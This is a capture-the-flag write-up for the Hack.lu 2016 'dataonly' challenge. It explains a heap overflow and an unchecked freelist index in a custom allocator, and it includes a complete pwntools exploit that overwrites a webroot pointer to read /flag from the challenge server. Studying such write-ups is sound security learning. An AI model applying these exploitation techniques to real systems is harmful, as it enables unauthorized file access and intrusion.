English [Hack.lu 2016] [EXPLOIT 200 – dataonly] Write up

Description

Cthulhu is too chaotic and has lost the machine with his files. Cthulhu still has an old fileserver running on it though… Get the flag from /flag in the filesystem.
Connect to cthulhu.fluxfingers.net:1509.
Binaries

Resolution

This is going to be a small write-up given the fact that there is already a write-up describing pretty well what the program is doing.
This challenge took us a lots of time of tries and thinking about it, but our exploit is pretty simple and goes straight to the point.
Things to note and important piece of codes:

  • We have a freelist with 9 chunks size, biggest chunk size is 8192 byte. Every command is stored in a chunk size of 8192 bytes, when a DO_free is called, the pointer is stored in the freelist
  • Here is the .bss layout with our malloc_freelist_heads
    gdb-peda$ print &malloc_freelist_heads 
    $2 = (void *(*)[10]) 0x601ec0 <malloc_freelist_heads>
    gdb-peda$ x/20xg 0x601ec0
    0x601ec0 <malloc_freelist_heads>:	0x0000000000000000	0x0000000000000000
    0x601ed0 <malloc_freelist_heads+16>:	0x0000000000000000	0x0000000000000000
    0x601ee0 <malloc_freelist_heads+32>:	0x0000000000000000	0x0000000000000000
    0x601ef0 <malloc_freelist_heads+48>:	0x0000000000000000	0x0000000000000000
    0x601f00 <malloc_freelist_heads+64>:	0x0000000000000000	0x0000000000000000
    0x601f10 <malloc_area_head>:	0x00007fffeda31000	0x0000000000000000
    0x601f20 <webroot>:	0x00007fffffffe479	0x0000000000000000
    

    That means we need an idx of 12 to successfully rewrite webroot

  • void DO_free(void *ptr) {            
      if (ptr == NULL)
        return;
      ptr = ((char*)ptr)-1;
      int idx = *(char*)ptr;
    
      *(void**)ptr = malloc_freelist_heads[idx];
      malloc_freelist_heads[idx] = ptr;
    }
    

    malloc_freelist_heads[idx] = ptr;, idx is never checked, if we can control the idx, we can get an Out Of Bound from the malloc_freelist_heads and then directly rewrite webroot to a pointer in the heap

  • char *DO_readline(size_t *outlen) {      
      size_t len = CHUNK_SIZE_BY_IDX(MALLOC_NR_OF_SIZES-1) - 1;
      char *buf = DO_malloc(len);
      char *p = buf;
      while (1) {
        *p = DO_readbyte();
        if (*p == '\n') {
          *p = '\0';
          if (outlen)
    	*outlen = p - buf;
          break;
        }
        p++;
      }
      return buf;
    }
    

    We have a huge overflow in the heap, we can pretty much rewrite the whole heap in a single command

From these facts, if you haven’t find our solution yet, this is pretty straight:

  • Set language, this is the only chunk that we can keep between 2 command, all other malloc are immediately freed after use
  • Rewrite the [idx] part of the chunk with overflow in the heap
  • Free that chunk that will make us rewrite webroot
  • Write our webroot in the heap with another overflow in the heap
  • Read any file on the system

Here is the full exploit:

#!/usr/bin/env python2

from pwn import *

###

DEBUG = False

###

if DEBUG:
    r = remote("localhost", 1605)
else:
    r = remote("cthulhu.fluxfingers.net", 1509)

# set language
r.sendline("language")
r.sendline("toto")
# overflowing heap to rewrite the [idx] of the language chunk
p = "/" * 16383 + "\x0c"
r.sendline(p)
# we free the chunk, causing an out of bound from malloc_freelist_head
# to rewrite the webroot ptr
r.sendline("language")
r.sendline("toto")
# rewrite the new webroot *ptr to "/"
p = "/" * 16383 + "/"
r.sendline(p)
# reading flag
r.sendline("get")
r.recvuntil("path")
r.sendline("flag") # any file on the remote FileSystem
r.recvline()
print r.recvline()[:-1]

flag is: flag{cthulhu_likes_custom_mallocators}

Leave a Reply

Your email address will not be published. Required fields are marked *